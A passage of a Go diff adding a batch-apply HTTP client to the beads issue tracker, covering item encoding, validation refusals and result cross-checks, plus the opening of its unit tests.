issueops.MaxApplyBatchItems) + } + + body, err := applyBatchBody(req) + if err != nil { + return issueops.ApplyBatchResult{}, err + } + resp, err := b.wire.ApplyBatch(ctx, body) + if err != nil { + return issueops.ApplyBatchResult{}, applyBatchRefusal(err) + } + return decodeApplyBatchResult(req, resp) +} + +// applyBatchBody projects the role's request onto the wire body. +func applyBatchBody(req issueops.ApplyBatchRequest) (wire.ApplyBatchRequest, error) { + items := make([]wire.ApplyItem, 0, len(req.Items)) + for i, item := range req.Items { + encoded, err := applyItemBody(item, req.Actor) + if err != nil { + return wire.ApplyBatchRequest{}, fmt.Errorf("items[%d]: %w", i, err) + } + items = append(items, encoded) + } + + body := wire.ApplyBatchRequest{Actor: req.Actor, Items: items} + setItemString(&body.Provenance, req.Provenance) + // The two booleans are sent only when TRUE, createBody's rule: each selects + // a bypass, so an explicit false is the default said twice. + setItemBool(&body.ForceIDPrefix, req.ForceIDPrefix) + setItemBool(&body.SkipPerEdgeCycleCheck, req.SkipPerEdgeCycleCheck) + return body, nil +} + +// applyItemKinds is the tag vocabulary this client knows, paired with the +// payload each value names. It is a map rather than a switch so the closed set +// is ENUMERABLE, and so the agreement check below and the projection cannot +// drift into two opinions about which payload a kind reads. +var applyItemKinds = map[issueops.ItemKind]string{ + issueops.ItemCreate: "create", + issueops.ItemUpdate: "update", + issueops.ItemClose: "close", + issueops.ItemDepAdd: "dep_add", +} + +// applyItemBody projects one tagged item, refusing all four ways a tag and its +// payloads can disagree. +// +// IT FAILS CLOSED ON AN UNKNOWN KIND, and that is the arm worth stating out +// loud: ItemKind is a closed set today, and a fifth verb added to issueops +// tomorrow would arrive here as a value this map does not carry. Sending it +// anyway would put an item on the wire with a tag the server refuses — a round +// trip to be told what is knowable here — and, worse, sending it with NO +// payload would be a plan that silently did less than the caller composed. +// Refusing names the kind. +func applyItemBody(item issueops.ApplyItem, actor string) (wire.ApplyItem, error) { + named, known := applyItemKinds[item.Kind] + if !known { + return wire.ApplyItem{}, invalid("item kind %q is not one of create, update, close, dep_add", item.Kind) + } + + // The tag and the payloads have to agree in BOTH directions, exactly as + // they do at the server's own door: a kind with no payload is an item that + // does nothing, a payload the kind does not name is an item whose two + // halves disagree, and two payloads is an item that cannot say which it + // meant. The role calls all three ErrValidation. + var carried []string + for _, present := range []struct { + member string + set bool + }{ + {"create", item.Create != nil}, + {"update", item.Update != nil}, + {"close", item.Close != nil}, + {"dep_add", item.DepAdd != nil}, + } { + if present.set { + carried = append(carried, present.member) + } + } + switch { + case len(carried) == 0: + return wire.ApplyItem{}, invalid("an item of kind %q carries no %s payload", item.Kind, named) + case len(carried) > 1: + return wire.ApplyItem{}, invalid("an item carries exactly one payload; this one carries %v", carried) + case carried[0] != named: + return wire.ApplyItem{}, invalid("an item of kind %q carries the %q payload; the two must name the same verb", + item.Kind, carried[0]) + } + + out := wire.ApplyItem{Kind: named} + switch item.Kind { + case issueops.ItemCreate: + create, err := applyCreateItemBody(item.Create, actor) + if err != nil { + return wire.ApplyItem{}, err + } + out.Create = create + case issueops.ItemUpdate: + update, err := applyUpdateItemBody(item.Update) + if err != nil { + return wire.ApplyItem{}, err + } + out.Update = update + case issueops.ItemClose: + closeItem, err := applyCloseItemBody(item.Close) + if err != nil { + return wire.ApplyItem{}, err + } + out.Close = closeItem + case issueops.ItemDepAdd: + depAdd, err := applyDepAddItemBody(item.DepAdd) + if err != nil { + return wire.ApplyItem{}, err + } + out.DepAdd = depAdd + } + return out, nil +} + +// applyCreateItemBody projects one create item. +// +// The wire's create vocabulary here is EXACTLY createIssue's twenty — the same +// members, spelled the same way — so the allowlist and the refusal sweep are +// the single create's, shared rather than copied. What is different is the +// ledger row the refusal cites: this is a different operation, and a reader +// auditing "why does my plan refuse?" must not be sent to a row about +// createIssue. +func applyCreateItemBody(item *issueops.CreateItem, actor string) (*apigen.ApplyCreateItem, error) { + if item == nil || item.Issue == nil { + return nil, invalid("a create item names no issue") + } + issue := item.Issue + if len(issue.Comments) > 0 || len(issue.Dependencies) > 0 { + // The ROLE's own rule rather than a wire divergence, and here it is + // stronger than it is on the single create: edges in this role are + // ITEMS, so a create item has nowhere to put one at all. + return nil, invalid("a create item's Issue carries comments or dependencies; edges are dep_add items") + } + if err := refuseUnwirableIssueMembers(issue, actor, encode.OpApplyBatch, "W-CreateItem.Issue"); err != nil { + return nil, err + } + + // Priority is sent ALWAYS, createBody's reason: 0 is P0 and a real request, + // so an absent member — which the server reads as the workspace default — + // would silently reprioritize every critical issue a plan creates. + priority := issue.Priority + out := &apigen.ApplyCreateItem{Title: issue.Title, Priority: &priority} + + setItemString(&out.Key, item.Key) + setItemString(&out.Id, issue.ID) + setItemString(&out.Description, issue.Description) + setItemString(&out.Design, issue.Design) + setItemString(&out.AcceptanceCriteria, issue.AcceptanceCriteria) + setItemString(&out.Notes, issue.Notes) + setItemString(&out.Status, string(issue.Status)) + setItemString(&out.IssueType, string(issue.IssueType)) + setItemString(&out.Assignee, issue.Assignee) + setItemString(&out.Owner, issue.Owner) + setItemString(&out.Sender, issue.Sender) + if issue.ExternalRef != nil { + ref := *issue.ExternalRef + out.ExternalRef = &ref + } + if issue.EstimatedMinutes != nil { + minutes := *issue.EstimatedMinutes + out.EstimatedMinutes = &minutes + } + out.DueAt = copyTime(issue.DueAt) + out.DeferUntil = copyTime(issue.DeferUntil) + if len(issue.Labels) > 0 { + labels := append([]string(nil), issue.Labels...) + out.Labels = &labels + } + if len(issue.Metadata) > 0 { + // The blob travels as the bytes the caller sent, and only its + // well-formedness is this layer's question. See requireJSON. + if err := requireJSON("Issue.Metadata", issue.Metadata); err != nil { + return nil, err + } + out.Metadata = append(apigen.MetadataValue(nil), issue.Metadata...) + } + setItemBool(&out.Ephemeral, issue.Ephemeral) + setItemBool(&out.NoHistory, issue.NoHistory) + + if len(item.MetadataRefs) > 0 { + refs := make(map[string]apigen.Ref, len(item.MetadataRefs)) + for key, ref := range item.MetadataRefs { + encoded, err := applyRefBody(ref) + if err != nil { + return nil, fmt.Errorf("metadata_refs[%q]: %w", key, err) + } + refs[key] = encoded + } + out.MetadataRefs = &refs + } + return out, nil +} + +// applyUpdateItemBody projects one update item. +func applyUpdateItemBody(item *issueops.UpdateItem) (*wire.ApplyUpdateItem, error) { + if item == nil { + return nil, invalid("an update item carries no payload") + } + target, err := applyRefBody(item.Target) + if err != nil { + return nil, fmt.Errorf("target: %w", err) + } + patch, err := encodeApplyPatch(item.Patch) + if err != nil { + return nil, err + } + if len(patch) == 0 { + // The role and the server both refuse an empty patch; saying it here + // keeps a write that writes nothing off the wire entirely. + return nil, invalid("an update item names no field to write") + } + + out := &wire.ApplyUpdateItem{ + Target: target, + Patch: patch, + ExpectedVersion: revisionGuard(item.ExpectedVersion), + } + // The two string guards are pointers on both sides and the copy is a nil + // check, updateGuards' rule: an empty `expected_assignee` is the guard that + // says "only if nobody holds it", so absent has to stay absent. + if item.ExpectedStatus != nil { + status := string(*item.ExpectedStatus) + out.ExpectedStatus = &status + } + if item.ExpectedAssignee != nil { + assignee := *item.ExpectedAssignee + out.ExpectedAssignee = &assignee + } + // All three force flags ARE published on this operation, unlike + // updateIssue's body where they are still refused — so a plan can express + // what a single patch over this wire cannot. They are sent only when true. + setItemBool(&out.ForceClosePolicy, item.ForceClosePolicy) + setItemBool(&out.ForceAssigneeTransfer, item.ForceAssigneeTransfer) + setItemBool(&out.ForceNotesOverwrite, item.ForceNotesOverwrite) + return out, nil +} + +// applyCloseItemBody projects one close item. +// +// THE MAPPING IS TOTAL: every member of the role's CloseItem has a wire member, +// including the row-version guard, so no W- row names one. There is deliberately +// no expected_status on either side — a close is idempotent, so a guard spelled +// to refuse an already-closed row asks for a refusal where the verb answers +// with a no-op. +func applyCloseItemBody(item *issueops.CloseItem) (*apigen.ApplyCloseItem, error) { + if item == nil { + return nil, invalid("a close item carries no payload") + } + target, err := applyRefBody(item.Target) + if err != nil { + return nil, fmt.Errorf("target: %w", err) + } + out := &apigen.ApplyCloseItem{Target: target, ExpectedVersion: revisionGuard(item.ExpectedVersion)} + setItemString(&out.Reason, item.Reason) + setItemString(&out.Session, item.Session) + setItemBool(&out.Force, item.Force) + return out, nil +} + +// applyDepAddItemBody projects one edge item. +// +// The gate normalization a waits-for edge gets, and the refusal a bad gate +// earns, are the ROLE's and stay there: the blob travels as the caller's own +// bytes, and a second parse here would be a second definition of what the edge +// metadata plane accepts. +func applyDepAddItemBody(item *issueops.DepAddItem) (*apigen.ApplyDepAddItem, error) { + if item == nil { + return nil, invalid("a dep_add item carries no payload") + } + source, err := applyRefBody(item.Source) + if err != nil { + return nil, fmt.Errorf("source: %w", err) + } + target, err := applyRefBody(item.Target) + if err != nil { + return nil, fmt.Errorf("target: %w", err) + } + if item.Type == "" { + return nil, invalid("a dep_add item names no edge type") + } + // ApplyDepAddItem publishes neither member below, so each refuses where the + // role would store something the wire cannot say. The spawner flag only + // does that on a waits-for edge; the role ignores it on every other type. + switch { + case item.HasSpawner && item.Type == issueops.DepWaitsFor: + return nil, refuse(encode.OpApplyBatch, "W-DepAddItem.HasSpawner") + case item.ThreadID != "": + return nil, refuse(encode.OpApplyBatch, "W-DepAddItem.ThreadID") + } + out := &apigen.ApplyDepAddItem{Source: source, Target: target, Type: string(item.Type)} + // A BLANK blob is ABSENT, not malformed, and reading it any other way is a + // real bug rather than strictness: the role's own rule is that an absent, + // blank or `{}` metadata on a waits-for edge is stored as the all-children + // gate, so a client that refused whitespace would fail a normalization the + // role performs. Only a NON-blank blob is checked for being JSON at all, + // which is this layer's one question about it. + if blob := strings.TrimSpace(item.Metadata); blob != "" { + if err := requireJSON("DepAdd.Metadata", []byte(blob)); err != nil { + return nil, err + } + out.Metadata = apigen.MetadataValue(blob) + } + return out, nil +} + +// applyRefBody projects one ref, applying the exactly-one rule the schema +// cannot state. +// +// Both members set is a caller that cannot say which it meant and neither is a +// reference to nothing; the role calls both ErrValidation before anything is +// written, so both are refused here rather than dialed. WHETHER a key RESOLVES, +// and whether it reaches backward far enough, is the role's question — only the +// server can see the whole request's key index — and comes back as a *RefError. +func applyRefBody(ref issueops.Ref) (apigen.Ref, error) { + switch { + case ref.Key == "" && ref.ID == "": + return apigen.Ref{}, invalid("a ref names neither a key nor an id") + case ref.Key != "" && ref.ID != "": + return apigen.Ref{}, invalid("a ref names a key and an id; it must name exactly one") + } + var out apigen.Ref + setItemString(&out.Key, ref.Key) + setItemString(&out.Id, ref.ID) + return out, nil +} + +// applyPatchExcludedMembers is the refusal half of the apply patch's allowlist, +// in the order encodeApplyPatch decides them. +// +// THE ALLOWLIST IS NOT updateIssue's, and the two differences run in opposite +// directions, which is why this cannot share refuseExcludedPatchMembers: +// +// owner IS published here and refused there. ApplyPatchBody carries it; +// IssuePatchBody does not, which the document calls an accident of +// order rather than a decision. +// parent_id is published THERE and absent here, and that one is deliberate: +// a parent is a dep_add item of type parent-child, so the order of +// every edge in a plan stays total and there is one spelling for +// an edge. +// +// The other three — spec_id, await_id, closed_by_session — and persistence are +// absent from both bodies. +var applyPatchExcludedMembers = []struct { + member string + ledger string + set func(issueops.IssuePatch) bool +}{ + // ParentID is this document's OWN exclusion and gets its own row; the other + // four are absent from both patch bodies, so they cite the rows that + // already refuse them rather than minting a second reason for one fact. + {"ParentID", "W-ApplyPatch.ParentID", func(p issueops.IssuePatch) bool { return p.ParentID.Set }}, + {"SpecID", "W-IssuePatch.SpecID", func(p issueops.IssuePatch) bool { return p.SpecID.Set }}, + {"AwaitID", "W-IssuePatch.AwaitID", func(p issueops.IssuePatch) bool { return p.AwaitID.Set }}, + {"ClosedBySession", "W-IssuePatch.ClosedBySession", func(p issueops.IssuePatch) bool { return p.ClosedBySession.Set }}, + {"Persistence", "W-IssuePatch.Persistence", func(p issueops.IssuePatch) bool { return p.Persistence.Set }}, +} + +// encodeApplyPatch turns the role's patch into an update item's patch document. +// +// It is a map for encodeIssuePatch's reason and no other: the four NULLABLE +// members wrap a POINTER, and a set nil pointer has to reach the server as a +// literal null — the clear — where an unset one has to be absent entirely. +// apigen.ApplyPatchBody spells them `omitempty`, which collapses the two. +// +// REFUSE FIRST, THEN ENCODE, so a patch that both names an excluded member and +// carries a malformed metadata blob reports the fact about the WIRE rather than +// whichever error the encoder happened to reach first. +// +// LABELS ARE THE FULL PATCH HERE, which is the one place this document is WIDER +// than PATCH /v0/beads/issues/{id}'s: a plan edits a label set it did not +// compose, so an incremental add or remove has to be expressible without +// reading the set back first. W-IssuePatch.Labels is updateIssue's row and does +// not reach this operation. +func encodeApplyPatch(patch issueops.IssuePatch) (map[string]any, error) { + for _, excluded := range applyPatchExcludedMembers { + if excluded.set(patch) { + return nil, refuse(encode.OpApplyBatch, excluded.ledger) + } + } + + out := map[string]any{} + setString(out, "title", patch.Title) + setString(out, "description", patch.Description) + setString(out, "design", patch.Design) + setString(out, "acceptance_criteria", patch.AcceptanceCriteria) + setString(out, "notes", patch.Notes) + setString(out, "append_notes", patch.AppendNotes) + setString(out, "assignee", patch.Assignee) + setString(out, "owner", patch.Owner) + if patch.Priority.Set { + out["priority"] = patch.Priority.Value + } + if patch.IssueType.Set { + out["issue_type"] = string(patch.IssueType.Value) + } + if patch.Status.Set { + out["status"] = string(patch.Status.Value) + } + if metadataPatched(patch.Metadata) { + document, err := encodeMetadataPatch(patch.Metadata) + if err != nil { + return nil, err + } + out["metadata"] = document + } + + // The nullable four. A set member always lands, and lands as null when its + // pointer is nil, because that is the clear. + setNullable(out, "estimated_minutes", patch.EstimatedMinutes) + setNullable(out, "external_ref", patch.ExternalRef) + setNullableTime(out, "due_at", patch.DueAt) + setNullableTime(out, "defer_until", patch.DeferUntil) + + if labels := encodeApplyLabelPatch(patch.Labels); len(labels) > 0 { + out["labels"] = labels + } + return out, nil +} + +// encodeApplyLabelPatch projects the ordered label edit whole. +// +// Replace is a Field rather than a plain slice on both sides, and that is the +// state a struct could not carry: a SET replacement holding no labels CLEARS +// every label, where an unset one leaves the current set as the starting point. +func encodeApplyLabelPatch(patch issueops.LabelPatch) map[string]any { + out := map[string]any{} + if patch.Replace.Set { + // The copy starts from an EMPTY SLICE rather than a nil one, and that is + // the clear rather than a style choice: a set Replace holding no labels + // is how a caller says "remove every label", and a nil []string marshals + // to JSON `null`, which this member does not accept. Starting from + // []string{} makes the clear travel as the empty ARRAY the document + // spells it with. + out["replace"] = append([]string{}, patch.Replace.Value...) + } + if len(patch.Add) > 0 { + out["add"] = append([]string(nil), patch.Add...) + } + if len(patch.Remove) > 0 { + out["remove"] = append([]string(nil), patch.Remove...) + } + return out +} + +// refuseUnwirableIssueMembers is the other half of createCarriedIssueMembers' +// allowlist: it refuses the first populated member of an issue that the wire's +// create vocabulary does not carry, the role does not ignore, and the server +// does not stamp from the actor (actorStampedCreateMember). +// +// It answers the FIRST offender in declaration order, which is deterministic — +// a caller fixing one member at a time must not see the reported member depend +// on map iteration. It is generalized over the LEDGER ROW because two +// operations publish the identical twenty members — createIssue and +// batchApply's create item — and a caller must be sent to the row for the +// operation they actually called. The partition itself is one partition and is +// shared, so the two cannot disagree about what the wire carries or about what +// the role drops. +func refuseUnwirableIssueMembers(issue *issueops.Issue, actor string, op encode.Op, ledgerID string) error { + value := reflect.ValueOf(*issue) + shape := value.Type() + for i := range shape.NumField() { + field := shape.Field(i) + if !field.IsExported() { + continue + } + if _, carried := createCarriedIssueMembers[field.Name]; carried { + continue + } + if _, ignored := roleIgnoredCreateIssueMembers[field.Name]; ignored { + continue + } + if value.Field(i).IsZero() || actorStampedCreateMember(field.Name, issue, actor) { + continue + } + // The ledger row is the vocabulary; the member name is the fact the row + // cannot carry, because one row covers the whole population. + return fmt.Errorf("Issue.%s: %w", field.Name, refuse(op, ledgerID)) + } + return nil +} + +// applyBatchRefusal rebuilds the role's typed refusals from the problem +// document's item members. +// +// IT READS TYPED MEMBERS AND NEVER PROSE, which matters more on this operation +// than anywhere else on the surface: the request is all or nothing, so there is +// no per-item result array a caller could find the offender in, and `item_*` +// is the only place it exists. +// +// THE REF REFUSAL IS MATCHED FIRST, on `declared_later`'s PRESENCE. It is the +// one 400 that carries a discriminator — an ordering mistake reads differently +// from a typo — and it is emitted in both polarities precisely so absence can +// mean "this refusal was not about a key". +// +// A *RefError REPLACES the problem envelope rather than wrapping it, and that +// is the role type's shape rather than a choice here: RefError.Unwrap is +// hardcoded to ErrValidation and the type carries no member for a cause. Ledger +// row L-apply-ref records what that costs. +func applyBatchRefusal(err error) error { + var problem *wire.ProblemError + if !errors.As(err, &problem) { + return err + } + if problem.DeclaredLater != nil { + if problem.ItemIndex == nil { + // A key refusal that named no item. Unreachable against this + // server — the ref refusal is raised inside a request whose items + // are indexed — but RefError.Index has no absent state, so + // answering 0 would name the FIRST item as the offender on a + // refusal that named none. The problem travels unwrapped instead. + return err + } + return &issueops.RefError{ + Index: *problem.ItemIndex, + Member: applyRefMember(problem.Param), + Key: derefStringPtr(problem.ItemKey), + DeclaredLater: *problem.DeclaredLater, + } + } + if problem.ItemIndex == nil { + // A refusal the role raised without naming an item — the request's own + // validation, or a transport-level answer. It travels unwrapped: an + // *ItemError naming index 0 would be a claim about an item this refusal + // says nothing about. + return err + } + return &issueops.ItemError{ + Index: *problem.ItemIndex, + Kind: issueops.ItemKind(derefStringPtr(problem.ItemKind)), + Key: derefStringPtr(problem.ItemKey), + IssueID: derefStringPtr(problem.ItemIssueID), + // The whole ProblemError, so errors.Is still reaches the sentinel its + // code mapped to and the request id survives for a 5xx. + Err: err, + } +} + +// applyRefMember maps the refusal's `param` back onto the role's Member, which +// is diagnostic prose rather than a vocabulary on either side. +// +// The wire names the MEMBER that held the bad ref — `items[3].create.metadata_refs` +// — where the role names the member and, for a metadata ref, the key inside it. +// The key is not recoverable from `param`, so this answers the member alone; see +// ledger row L-apply-ref. +func applyRefMember(param string) string { + switch { + case strings.HasSuffix(param, ".target"): + return "target" + case strings.HasSuffix(param, ".source"): + return "source" + default: + return "metadata_refs" + } +} + +// decodeApplyBatchResult reads the wire response back into the role's result. +// +// THE ARRAY IS POSITIONAL AND IS CHECKED AS ONE, in the two ways the answer +// makes checkable. The wire promises one entry per requested item in request +// order, and a misattribution is the failure no assertion about a ROW would +// catch: both rows exist and both were written, so one item's `changed` and +// `revision` simply read as another's. +// +// length and kind a count that disagrees, or a kind that does not echo the +// item at its index, is caught by comparing the answer with +// the request the client itself composed. +// the key map `keys` binds each NAMED create to the id it was bound to, +// independently of the array's order, so a keyed create's +// result has a second source to agree with. This is what +// catches a SAME-KIND SWAP, which the kind comparison above +// cannot see at all: two transposed creates both answer +// "create" at both indexes. A key the request declared and +// the answer does not carry is refused for the same reason — +// the binding is the one fact the request cannot carry, so a +// missing one leaves a result that cannot be checked rather +// than one to pass along. +// +// WHAT REMAINS UNCHECKABLE, said plainly rather than left as an implication: an +// UNKEYED same-kind swap. Nothing in the response distinguishes two unnamed +// creates and nothing in the request could — naming them is exactly what makes +// them distinguishable — so a transposition between two unnamed items of one +// kind passes. It sits in the same trust class as a server that answered about +// a row the request never named, and the served assembly is provably in item +// order (internal/httpapi/batch_apply.go's applyBatchResponse walks +// result.Items). A caller that needs the guarantee names its items. +// +// Every refusal here is the METHOD's rather than a per-item one, because a +// broken answer says nothing trustworthy about any single item. +func decodeApplyBatchResult(req issueops.ApplyBatchRequest, resp *apigen.ApplyBatchResponse) (issueops.ApplyBatchResult, error) { + if resp == nil { + return issueops.ApplyBatchResult{}, fmt.Errorf("bd serve returned no batch-apply result") + } + if len(resp.Items) != len(req.Items) { + return issueops.ApplyBatchResult{}, fmt.Errorf( + "bd serve returned %d batch-apply results for %d items", len(resp.Items), len(req.Items)) + } + + items := make([]issueops.ItemResult, len(resp.Items)) + for i, item := range resp.Items { + kind := issueops.ItemKind(item.Kind) + if kind != req.Items[i].Kind { + return issueops.ApplyBatchResult{}, fmt.Errorf( + "bd serve returned a %q result at index %d for a %q item; the results are positional", + kind, i, req.Items[i].Kind) + } + if err := checkApplyKeyBinding(req.Items[i], i, item, resp.Keys); err != nil { + return issueops.ApplyBatchResult{}, err + } + // The token is a decimal string on the wire (types.RevisionToken) and + // an int64 on the Go contract; parseRevision is the one place it is + // read back, and a token the server spelled in a way this client + // cannot read refuses the whole result rather than stitching a 0 that + // would only surface as a precondition failure on the NEXT request. + revision, err := parseRevision(fmt.Sprintf("batchApply item %d", i), item.Revision) + if err != nil { + return issueops.ApplyBatchResult{}, err + } + items[i] = issueops.ItemResult{ + Kind: kind, + IssueID: item.IssueId, + Changed: item.Changed, + RowVersion: revision, + // Issue stays nil. The wire result is lean by design and the role's + // own leaf says why; L-apply-snapshot records it. + Issue: nil, + } + if item.DependsOnId != nil { + items[i].DependsOnID = *item.DependsOnId + } + } + + // Allocated rather than passed through, so nothing downstream holds a + // window onto a decoded response body — and so a request whose creates + // named nothing answers with an empty map rather than a nil one. + keys := make(map[string]string, len(resp.Keys)) + for key, id := range resp.Keys { + keys[key] = id + } + return issueops.ApplyBatchResult{Keys: keys, Items: items}, nil +} + +// checkApplyKeyBinding cross-checks one item's result against the key map. +// +// It applies to KEYED CREATES and to nothing else, which is the whole of what +// the answer makes checkable: `keys` carries only the keys the request NAMED, +// an unnamed create item is in `items` and not there, and an update or a close +// resolves a ref the caller already knew the id of. +func checkApplyKeyBinding(item issueops.ApplyItem, index int, result apigen.ApplyItemResult, keys map[string]string) error { + if item.Kind != issueops.ItemCreate || item.Create == nil || item.Create.Key == "" { + return nil + } + key := item.Create.Key + bound, named := keys[key] + if !named { + return fmt.Errorf( + "bd serve bound no id to key %q, which items[%d] declares; the key binding is the one fact the request cannot carry", + key, index) + } + if bound != result.IssueId { + return fmt.Errorf( + "bd serve bound key %q to %s and answered items[%d] with %s; the results are positional and this pair disagrees", + key, bound, index, result.IssueId) + } + return nil +} + +func derefInt(v *int) int { + if v == nil { + return 0 + } + return *v +} + +func derefStringPtr(v *string) string { + if v == nil { + return "" + } + return *v +} diff --git a/internal/httpclient/batchapplier_test.go b/internal/httpclient/batchapplier_test.go new file mode 100644 index 000000000..3607f59a6 --- /dev/null +++ b/internal/httpclient/batchapplier_test.go @@ -0,0 +1,999 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/batchapplier_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "encoding/json" + "errors" + "reflect" + "slices" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The batch-apply role's unit gates: what the client DECIDES before the dial, +// and what it refuses to believe about the answer. +// +// Everything about what a plan MEANS is the server's and is asserted end to end +// by served_batch_apply_test.go. What is here is the half a live server cannot +// show — the request the client built, the refusals it raised without dialing, +// and the answers it will not accept. + +func applyRole(t *testing.T, w *stubWire) issueops.BatchApplier { + t.Helper() + applier, err := stubStore(t, w).BatchApplier() + if err != nil { + t.Fatalf("BatchApplier(): %v", err) + } + return applier +} + +// applyOneCreate is the smallest plan that lands: one create item, nothing +// named, nothing guarded. +func applyOneCreate() issueops.ApplyBatchRequest { + return issueops.ApplyBatchRequest{ + Actor: "planner", + Items: []issueops.ApplyItem{{ + Kind: issueops.ItemCreate, + Create: &issueops.CreateItem{Issue: &issueops.Issue{Title: "t"}}, + }}, + } +} + +// TestApplyBatchRefusesEveryMemberTheWireExcludes is the refuse-not-drop gate +// for this operation, and it is the pin every W- row of the batch-apply +// population cites. +// +// The create item's issue vocabulary is EXACTLY the single create's, so the +// partition tables are shared rather than copied and this drives the same sweep +// against a different operation and a different ledger row. The patch's own +// excluded member — parent_id — is the second half, and the edge item's two — +// the spawner flag and the thread — are the third. +func TestApplyBatchRefusesEveryMemberTheWireExcludes(t *testing.T) { + t.Run("the create item's carried members are the wire's own", func(t *testing.T) { + published := bodyMembers(t, reflect.TypeOf(apigen.ApplyCreateItem{})) + for field, wireMember := range createCarriedIssueMembers { + if !published[wireMember] { + t.Errorf("Issue.%s claims wire member %q, which ApplyCreateItem does not publish", field, wireMember) + } + } + }) + + refused := createWireRefusedIssueMembers(t) + t.Run("every wire-refused issue member fails without dialing", func(t *testing.T) { + if len(refused) == 0 { + t.Fatal("no member is wire-refused; the shared partition tables have swallowed this population") + } + for _, name := range refused { + t.Run(name, func(t *testing.T) { + issue := &issueops.Issue{Title: "t"} + setNonZero(t, reflect.ValueOf(issue).Elem().FieldByName(name)) + + w := &stubWire{} + req := applyOneCreate() + req.Items[0].Create.Issue = issue + _, err := applyRole(t, w).ApplyBatch(t.Context(), req) + assertRefusedBy(t, err, "W-CreateItem.Issue") + if !strings.Contains(err.Error(), name) { + t.Errorf("the refusal does not name the member: %v", err) + } + if !strings.Contains(err.Error(), "items[0]") { + t.Errorf("the refusal does not name the item: %v", err) + } + if len(w.calls) != 0 { + t.Errorf("the refused member reached the wire: %v", w.calls) + } + }) + } + }) + + t.Run("a CreatedBy naming the actor rides the server's stamp", func(t *testing.T) { + // The server stamps every create item's created_by from the actor, so + // that one value is carried by the stamp; the sweep above refuses any + // other. + w := &stubWire{} + req := applyOneCreate() + req.Items[0].Create.Issue.CreatedBy = req.Actor + if _, err := applyRole(t, w).ApplyBatch(t.Context(), req); err != nil { + t.Fatalf("ApplyBatch with CreatedBy == Actor = %v, want it carried by the server's stamp", err) + } + if w.lastApply.Actor != req.Actor { + t.Errorf("sent actor = %q, want the creator the stamp will write", w.lastApply.Actor) + } + }) + + t.Run("the role's own two are ErrValidation, and here they have nowhere to go at all", func(t *testing.T) { + for name := range createRoleRefusedIssueMembers { + issue := &issueops.Issue{Title: "t"} + setNonZero(t, reflect.ValueOf(issue).Elem().FieldByName(name)) + + w := &stubWire{} + req := applyOneCreate() + req.Items[0].Create.Issue = issue + _, err := applyRole(t, w).ApplyBatch(t.Context(), req) + if !errors.Is(err, issueops.ErrValidation) { + t.Errorf("Issue.%s error = %v, want ErrValidation", name, err) + } + if len(w.calls) != 0 { + t.Errorf("Issue.%s reached the wire: %v", name, w.calls) + } + } + }) + + t.Run("the patch's own excluded member refuses, and the four shared ones cite their existing rows", func(t *testing.T) { + for _, test := range []struct { + member string + row string + patch issueops.IssuePatch + }{ + {"ParentID", "W-ApplyPatch.ParentID", issueops.IssuePatch{ + ParentID: issueops.Field[string]{Set: true, Value: "bd-parent"}, + }}, + {"SpecID", "W-IssuePatch.SpecID", issueops.IssuePatch{ + SpecID: issueops.Field[string]{Set: true, Value: "spec-1"}, + }}, + {"AwaitID", "W-IssuePatch.AwaitID", issueops.IssuePatch{ + AwaitID: issueops.Field[string]{Set: true, Value: "await-1"}, + }}, + {"ClosedBySession", "W-IssuePatch.ClosedBySession", issueops.IssuePatch{ + ClosedBySession: issueops.Field[string]{Set: true, Value: "sess-1"}, + }}, + {"Persistence", "W-IssuePatch.Persistence", issueops.IssuePatch{ + Persistence: issueops.Field[issueops.PersistenceMode]{Set: true, Value: types.PersistenceModeEphemeral}, + }}, + } { + t.Run(test.member, func(t *testing.T) { + w := &stubWire{} + _, err := applyRole(t, w).ApplyBatch(t.Context(), issueops.ApplyBatchRequest{ + Actor: "planner", + Items: []issueops.ApplyItem{{ + Kind: issueops.ItemUpdate, + Update: &issueops.UpdateItem{Target: issueops.Ref{ID: "bd-1"}, Patch: test.patch}, + }}, + }) + assertRefusedBy(t, err, test.row) + if len(w.calls) != 0 { + t.Errorf("the refused member reached the wire: %v", w.calls) + } + }) + } + }) + + t.Run("the edge item's two unpublished members refuse", func(t *testing.T) { + for _, test := range []struct { + member string + row string + set func(*issueops.DepAddItem) + }{ + {"HasSpawner", "W-DepAddItem.HasSpawner", func(item *issueops.DepAddItem) { item.HasSpawner = true }}, + {"ThreadID", "W-DepAddItem.ThreadID", func(item *issueops.DepAddItem) { item.ThreadID = "th-1" }}, + } { + t.Run(test.member, func(t *testing.T) { + item := &issueops.DepAddItem{ + Source: issueops.Ref{ID: "bd-1"}, Target: issueops.Ref{ID: "bd-2"}, Type: issueops.DepWaitsFor, + } + test.set(item) + w := &stubWire{} + _, err := applyRole(t, w).ApplyBatch(t.Context(), issueops.ApplyBatchRequest{ + Actor: "planner", + Items: []issueops.ApplyItem{{Kind: issueops.ItemDepAdd, DepAdd: item}}, + }) + assertRefusedBy(t, err, test.row) + if len(w.calls) != 0 { + t.Errorf("the refused member reached the wire: %v", w.calls) + } + }) + } + }) + + t.Run("a spawner flag on any other edge type is the role's no-op, and is not refused", func(t *testing.T) { + w := &stubWire{} + _, err := applyRole(t, w).ApplyBatch(t.Context(), issueops.ApplyBatchRequest{ + Actor: "planner", + Items: []issueops.ApplyItem{{Kind: issueops.ItemDepAdd, DepAdd: &issueops.DepAddItem{ + Source: issueops.Ref{ID: "bd-1"}, Target: issueops.Ref{ID: "bd-2"}, Type: issueops.DepBlocks, HasSpawner: true, + }}}, + }) + if err != nil { + t.Fatalf("a spawner flag on a blocks edge refused: %v", err) + } + if got := w.lastApply.Items[0].DepAdd; got == nil || got.Type != string(issueops.DepBlocks) { + t.Errorf("the encoded edge = %+v, want the caller's blocks edge", got) + } + }) + + t.Run("owner is CARRIED here, which is where the two patch documents part company", func(t *testing.T) { + w := &stubWire{} + _, err := applyRole(t, w).ApplyBatch(t.Context(), issueops.ApplyBatchRequest{ + Actor: "planner", + Items: []issueops.ApplyItem{{ + Kind: issueops.ItemUpdate, + Update: &issueops.UpdateItem{ + Target: issueops.Ref{ID: "bd-1"}, + Patch: issueops.IssuePatch{Owner: issueops.Field[string]{Set: true, Value: "ada"}}, + }, + }}, + }) + if err != nil { + t.Fatalf("an owner edit inside a plan refused: %v", err) + } + if got := w.lastApply.Items[0].Update.Patch["owner"]; got != "ada" { + 